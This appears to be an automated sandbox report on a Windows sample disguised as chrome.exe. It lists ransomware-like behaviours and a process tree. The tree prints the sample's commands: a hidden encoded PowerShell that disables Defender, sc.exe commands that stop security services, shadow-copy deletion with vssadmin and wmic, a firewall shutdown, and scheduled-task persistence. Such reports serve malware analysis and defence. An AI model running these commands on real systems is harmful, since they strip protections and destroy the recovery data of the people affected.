Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    01/05/2026, 20:25

General

  • Target
    chrome.exe
  • Size 49KB
  • Sample260501-y7mtmsgz4q
  • SHA256 53a4d7d125970121f2df04890c8f42f292c1eced423116bb146c083a1dcb8bf1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies security service
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4676
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:3908
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4604
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2272
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2476
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2116
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:1948
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2532
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:656
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:844
      • C:\Users\Admin\AppData\Local\Temp\chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\chrome.exe"
        3⤵
          PID:1696
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:2964
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:644
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:1464
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:768
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:3760
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\chrome.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1708
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\chrome.exe" /sc minute /mo 30 /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4364
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:784
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4016
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1632
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1376
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:2728
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3692
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:2476
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Enumerates processes with tasklist
              PID:2848
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2168
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
                PID:3796
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:288
              • C:\Windows\system32\net.exe
                net user
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3224
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user
                  4⤵
                    PID:4872
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2960
                • C:\Windows\system32\ipconfig.exe
                  ipconfig /all
                  3⤵
                  • Gathers network information
                  PID:1232
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2288
                • C:\Windows\system32\NETSTAT.EXE
                  netstat -an
                  3⤵
                  • Gathers network information
                  • Suspicious use of AdjustPrivilegeToken
                  PID:764
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\chrome.exe" /sc daily /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1008
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                  PID:4740
                • C:\Windows\System32\notepad.exe
                  "C:\Windows\System32\notepad.exe"
                  2⤵
                    PID:3940
                  • C:\Windows\System32\vssadmin.exe
                    "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                    2⤵
                    • Interacts with shadow copies
                    PID:424
                  • C:\Windows\System32\wbem\WMIC.exe
                    "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                    2⤵
                      PID:3284
                    • C:\Windows\System32\net.exe
                      "C:\Windows\System32\net.exe" stop srservice
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3712
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 stop srservice
                        3⤵
                          PID:764
                      • C:\Windows\System32\netsh.exe
                        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                        2⤵
                        • Modifies Windows Firewall
                        • Event Triggered Execution: Netsh Helper DLL
                        PID:4876
                      • C:\Windows\System32\sc.exe
                        "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:4744
                      • C:\Windows\System32\sc.exe
                        "C:\Windows\System32\sc.exe" stop i8042prt
                        2⤵
                        • Launches sc.exe
                        PID:2400
                    • C:\Windows\system32\LogonUI.exe
                      "LogonUI.exe" /flags:0x0 /state0:0xa3a26855 /state1:0x41c64e6d
                      1⤵
                      • Modifies data under HKEY_USERS
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      PID:2112
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2568
                    • C:\Users\Admin\AppData\Local\Temp\chrome.exe
                      C:\Users\Admin\AppData\Local\Temp\chrome.exe
                      1⤵
                        PID:4976
                      • C:\Windows\system32\wbem\wmiprvse.exe
                        C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                        1⤵
                          PID:4016

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              invoice_1.pdf

                              • Path C:\ProgramData\invoice_1.pdf
                              • Size 66KB
                              • SHA256 7dbbe006395350ad28cde1dff6001f125a76156641a5eabe60c1b89fbdcef00e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              doc_3.pdf

                              • Path C:\SystemVolumeInformation\doc_3.pdf
                              • Size 66KB
                              • SHA256 99060d46aaa20c138efb393458c2fd9f1a82611b3dd101894b948633e4d5d261
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              chrome.exe.log

                              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\chrome.exe.log
                              • Size 660B
                              • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                              • MD5 SHA1 SHA512 TLSH

                              __PSScriptPolicyTest_ymkrljk1.f00.ps1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ymkrljk1.f00.ps1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              createshortcut.vbs

                              • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                              • Size 231B
                              • SHA256 cfe15efc8ea427d93621a5cb77c612e5d5befdc795ab4e11bbeb3239504d09e7
                              • MD5 SHA1 SHA512 TLSH

                              del.bat

                              • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                              • Size 59B
                              • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                              • MD5 SHA1 SHA512 TLSH

                              makelnk.vbs

                              • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                              • Size 232B
                              • SHA256 81af999cf183fdd8c23b862c805ab609e571721af82021bf563e02c47a99d208
                              • MD5 SHA1 SHA512 TLSH

                              sysupdate.exe

                              • Path C:\Windows\System32\sysupdate.exe
                              • Size 49KB
                              • SHA256 53a4d7d125970121f2df04890c8f42f292c1eced423116bb146c083a1dcb8bf1
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/844-2023-0x0000024E955D0000-0x0000024E956BA000-memory.dmp

                              memory/1612-2301-0x000000001AF00000-0x000000001AFEA000-memory.dmp

                              memory/1612-2284-0x000000001AF00000-0x000000001AFEA000-memory.dmp

                              memory/1612-2285-0x000000001CF30000-0x000000001CF42000-memory.dmp

                              memory/1612-2287-0x000000001B100000-0x000000001B110000-memory.dmp

                              memory/1612-0-0x00000000002F0000-0x0000000000302000-memory.dmp

                              memory/1612-1-0x000000001B100000-0x000000001B110000-memory.dmp

                              memory/1696-2227-0x000000001AEA0000-0x000000001AF8A000-memory.dmp

                              memory/2112-2297-0x00000224A0ED0000-0x00000224A0FBA000-memory.dmp

                              memory/2112-2286-0x00000224A0ED0000-0x00000224A0FBA000-memory.dmp

                              memory/3760-2231-0x000001AF27C70000-0x000001AF27D5A000-memory.dmp

                              memory/3940-2290-0x0000026B16950000-0x0000026B16A3A000-memory.dmp

                              memory/3940-2306-0x0000026B16950000-0x0000026B16A3A000-memory.dmp

                              memory/3940-2266-0x0000026B18320000-0x0000026B18321000-memory.dmp

                              memory/4676-2252-0x00000162A4C00000-0x00000162A4C08000-memory.dmp

                              memory/4676-2241-0x00000162A4C50000-0x00000162A4C6A000-memory.dmp

                              memory/4676-2256-0x00000162A4C40000-0x00000162A4C4A000-memory.dmp

                              memory/4676-2255-0x00000162A4C30000-0x00000162A4C36000-memory.dmp

                              memory/4676-2282-0x000001628BD40000-0x000001628BE2A000-memory.dmp

                              memory/4676-2283-0x000001628C300000-0x000001628C312000-memory.dmp

                              memory/4676-11-0x00000162A4660000-0x00000162A4682000-memory.dmp

                              memory/4676-965-0x00000162A49B0000-0x00000162A49CC000-memory.dmp

                              memory/4676-2238-0x00000162A4BF0000-0x00000162A4BFA000-memory.dmp

                              memory/4676-2024-0x00000162A4C10000-0x00000162A4C2C000-memory.dmp

                              memory/4676-1573-0x00000162A4A90000-0x00000162A4A9A000-memory.dmp

                              memory/4676-966-0x00000162A49D0000-0x00000162A4A83000-memory.dmp

                              memory/4740-2261-0x000002108F790000-0x000002108F87A000-memory.dmp

                              memory/4976-2249-0x000000001B3D0000-0x000000001B4BA000-memory.dmp